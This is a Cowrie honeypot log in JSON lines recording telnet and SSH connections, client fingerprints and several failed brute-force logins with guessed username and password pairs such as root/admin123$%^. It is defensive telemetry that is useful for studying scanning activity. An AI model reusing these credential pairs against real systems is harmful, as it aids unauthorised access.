{"eventid":"cowrie.session.closed","duration":39.70124268531799,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:21.559178Z","src_ip":"38.60.198.128","session":"9d6afab0aa84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38110,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1f338559dea","protocol":"telnet","message":"New connection: 38.54.119.93:38110 (10.17.0.5:23) [session: e1f338559dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:21.897161Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":44106,"dst_ip":"159.203.135.109","dst_port":23,"session":"96d89ac2c957","protocol":"telnet","message":"New connection: 38.60.198.128:44106 (159.203.135.109:23) [session: 96d89ac2c957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:22.017322Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:22.633108Z","src_ip":"177.85.247.230","session":"6dead504e20d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39014,"dst_ip":"10.17.0.5","dst_port":23,"session":"9204def3893a","protocol":"telnet","message":"New connection: 38.54.119.93:39014 (10.17.0.5:23) [session: 9204def3893a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:23.275187Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43836,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab9fd93dc81","protocol":"telnet","message":"New connection: 38.60.198.128:43836 (159.203.135.109:23) [session: 6ab9fd93dc81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:23.812421Z"}
{"eventid":"cowrie.session.closed","duration":120.00316500663757,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:26.391746Z","src_ip":"186.53.42.196","session":"1654e1470ad7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.794888019561768,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:27.691905Z","src_ip":"38.54.119.93","session":"e1f338559dea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.42.196","src_port":32958,"dst_ip":"10.17.0.5","dst_port":23,"session":"aca851479d1b","protocol":"telnet","message":"New connection: 186.53.42.196:32958 (10.17.0.5:23) [session: aca851479d1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:27.700800Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42638,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ac23da8e29c","protocol":"telnet","message":"New connection: 38.54.119.93:42638 (10.17.0.5:23) [session: 3ac23da8e29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:28.590268Z"}
{"eventid":"cowrie.session.closed","duration":44.8335964679718,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:29.206300Z","src_ip":"38.60.198.128","session":"8818bf2ec730","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.53.42.196","src_port":33476,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfb6cf220f9d","protocol":"telnet","message":"New connection: 186.53.42.196:33476 (10.17.0.5:23) [session: cfb6cf220f9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:30.996466Z"}
{"eventid":"cowrie.session.closed","duration":46.178367376327515,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:31.610715Z","src_ip":"38.60.198.128","session":"98929984ee20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57870,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b39cfac612b","protocol":"telnet","message":"New connection: 38.60.198.128:57870 (159.203.135.109:23) [session: 8b39cfac612b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:31.758542Z"}
{"eventid":"cowrie.session.closed","duration":120.00213575363159,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:31.931169Z","src_ip":"38.60.198.128","session":"8685a4503fe0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45140,"dst_ip":"10.17.0.5","dst_port":23,"session":"1415762cfa01","protocol":"telnet","message":"New connection: 38.54.119.93:45140 (10.17.0.5:23) [session: 1415762cfa01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:32.746913Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":35474,"dst_ip":"10.17.0.5","dst_port":22,"session":"c40ef62efc4b","protocol":"ssh","message":"New connection: 115.68.208.117:35474 (10.17.0.5:22) [session: c40ef62efc4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:37.546538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:37.551644Z","src_ip":"115.68.208.117","session":"c40ef62efc4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:37.767186Z","src_ip":"115.68.208.117","session":"c40ef62efc4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"secret","message":"login attempt [postgres/secret] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:38.647859Z","src_ip":"115.68.208.117","session":"c40ef62efc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:39.868228Z","src_ip":"115.68.208.117","session":"c40ef62efc4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.22460579872131,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:40.270249Z","src_ip":"192.211.53.160","session":"e1f58acf27fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40172,"dst_ip":"159.203.135.109","dst_port":23,"session":"a90a1b0a22d1","protocol":"telnet","message":"New connection: 38.60.198.128:40172 (159.203.135.109:23) [session: a90a1b0a22d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:40.343172Z"}
{"eventid":"cowrie.session.closed","duration":34.443658113479614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:43.788336Z","src_ip":"38.60.198.128","session":"68cdfa203c36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.17022371292114,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:45.599526Z","src_ip":"38.60.198.128","session":"582954eec646","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":55132,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae1f196a66bc","protocol":"telnet","message":"New connection: 38.54.119.93:55132 (10.17.0.5:23) [session: ae1f196a66bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:47.803077Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49652,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e923c6ca377","protocol":"telnet","message":"New connection: 38.60.198.128:49652 (159.203.135.109:23) [session: 5e923c6ca377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:47.940871Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":45696,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca2c3f512cef","protocol":"ssh","message":"New connection: 186.113.245.157:45696 (10.17.0.5:22) [session: ca2c3f512cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:50.437348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:50.441981Z","src_ip":"186.113.245.157","session":"ca2c3f512cef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:50.535064Z","src_ip":"186.113.245.157","session":"ca2c3f512cef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user99","password":"user99","message":"login attempt [user99/user99] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:50.924382Z","src_ip":"186.113.245.157","session":"ca2c3f512cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:52.018573Z","src_ip":"186.113.245.157","session":"ca2c3f512cef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.06391978263855,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:52.329634Z","src_ip":"38.60.198.128","session":"0d1b58ce9820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55738,"dst_ip":"159.203.135.109","dst_port":23,"session":"1996243e1312","protocol":"telnet","message":"New connection: 38.60.198.128:55738 (159.203.135.109:23) [session: 1996243e1312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:52.673746Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":56290,"dst_ip":"159.203.135.109","dst_port":23,"session":"879dd171a0f0","protocol":"telnet","message":"New connection: 38.60.198.128:56290 (159.203.135.109:23) [session: 879dd171a0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:53.112445Z"}
{"eventid":"cowrie.session.closed","duration":56.85795497894287,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:54.624818Z","src_ip":"45.81.23.16","session":"1a9f7eabb729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":32776,"dst_ip":"159.203.135.109","dst_port":23,"session":"2896a1e6bdc5","protocol":"telnet","message":"New connection: 38.60.198.128:32776 (159.203.135.109:23) [session: 2896a1e6bdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:56.995515Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60192,"dst_ip":"159.203.135.109","dst_port":23,"session":"51915bcbb395","protocol":"telnet","message":"New connection: 38.60.198.128:60192 (159.203.135.109:23) [session: 51915bcbb395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:36:58.359196Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60958,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d846ca22297","protocol":"telnet","message":"New connection: 38.60.198.128:60958 (159.203.135.109:23) [session: 7d846ca22297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:00.066533Z"}
{"eventid":"cowrie.session.closed","duration":39.69924831390381,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:01.716441Z","src_ip":"38.60.198.128","session":"96d89ac2c957","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.869760513305664,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:02.682055Z","src_ip":"38.60.198.128","session":"6ab9fd93dc81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":40626,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff7f48ef5e3","protocol":"telnet","message":"New connection: 38.60.198.128:40626 (159.203.135.109:23) [session: 1ff7f48ef5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:05.156221Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.199.94.79","src_port":53519,"dst_ip":"159.203.135.109","dst_port":23,"session":"16bf3bd75a44","protocol":"telnet","message":"New connection: 198.199.94.79:53519 (159.203.135.109:23) [session: 16bf3bd75a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:05.781364Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":40862,"dst_ip":"159.203.135.109","dst_port":22,"session":"47ee59cae832","protocol":"ssh","message":"New connection: 186.10.86.130:40862 (159.203.135.109:22) [session: 47ee59cae832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:05.984855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:05.989731Z","src_ip":"186.10.86.130","session":"47ee59cae832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:06.133236Z","src_ip":"186.10.86.130","session":"47ee59cae832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123$%^","message":"login attempt [root/admin123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:06.739737Z","src_ip":"186.10.86.130","session":"47ee59cae832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:07.887632Z","src_ip":"186.10.86.130","session":"47ee59cae832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.5027916431427,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:10.777834Z","src_ip":"38.54.119.93","session":"9204def3893a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":47944,"dst_ip":"159.203.135.109","dst_port":23,"session":"018e1f2a3419","protocol":"telnet","message":"New connection: 38.60.198.128:47944 (159.203.135.109:23) [session: 018e1f2a3419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:13.940808Z"}
{"eventid":"cowrie.session.closed","duration":42.48491716384888,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:14.243350Z","src_ip":"38.60.198.128","session":"8b39cfac612b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.36416149139404,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:15.954304Z","src_ip":"38.54.119.93","session":"3ac23da8e29c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":45628,"dst_ip":"10.17.0.5","dst_port":23,"session":"2da889d9ae63","protocol":"telnet","message":"New connection: 38.54.119.93:45628 (10.17.0.5:23) [session: 2da889d9ae63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:16.469012Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":46902,"dst_ip":"10.17.0.5","dst_port":23,"session":"a43032ca1f82","protocol":"telnet","message":"New connection: 45.81.23.16:46902 (10.17.0.5:23) [session: a43032ca1f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:19.214164Z"}
{"eventid":"cowrie.session.closed","duration":0.4335441589355469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:19.647594Z","src_ip":"45.81.23.16","session":"a43032ca1f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.631586790084839,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:20.100460Z","src_ip":"38.54.119.93","session":"2da889d9ae63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":60104,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a441cf8df72","protocol":"telnet","message":"New connection: 38.60.198.128:60104 (159.203.135.109:23) [session: 3a441cf8df72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:22.865871Z"}
{"eventid":"cowrie.session.closed","duration":50.61446285247803,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:23.361051Z","src_ip":"38.54.119.93","session":"1415762cfa01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34422,"dst_ip":"159.203.135.109","dst_port":23,"session":"0267a3b70337","protocol":"telnet","message":"New connection: 38.60.198.128:34422 (159.203.135.109:23) [session: 0267a3b70337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:25.320531Z"}
{"eventid":"cowrie.session.closed","duration":46.183037757873535,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:26.526118Z","src_ip":"38.60.198.128","session":"a90a1b0a22d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":35880,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec47693932da","protocol":"telnet","message":"New connection: 38.60.198.128:35880 (159.203.135.109:23) [session: ec47693932da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:26.704715Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":36258,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc65e3c5d5f","protocol":"telnet","message":"New connection: 38.60.198.128:36258 (159.203.135.109:23) [session: bdc65e3c5d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:27.047536Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39860,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b11dece7da2","protocol":"telnet","message":"New connection: 38.60.198.128:39860 (159.203.135.109:23) [session: 7b11dece7da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:31.261520Z"}
{"eventid":"cowrie.session.closed","duration":39.3313524723053,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:32.004997Z","src_ip":"38.60.198.128","session":"1996243e1312","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.43289065361023,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:32.373634Z","src_ip":"38.60.198.128","session":"5e923c6ca377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.208.117","src_port":37770,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2380b63fd40","protocol":"ssh","message":"New connection: 115.68.208.117:37770 (10.17.0.5:22) [session: a2380b63fd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:32.620900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:37:32.626192Z","src_ip":"115.68.208.117","session":"a2380b63fd40","protocol":"ssh"}
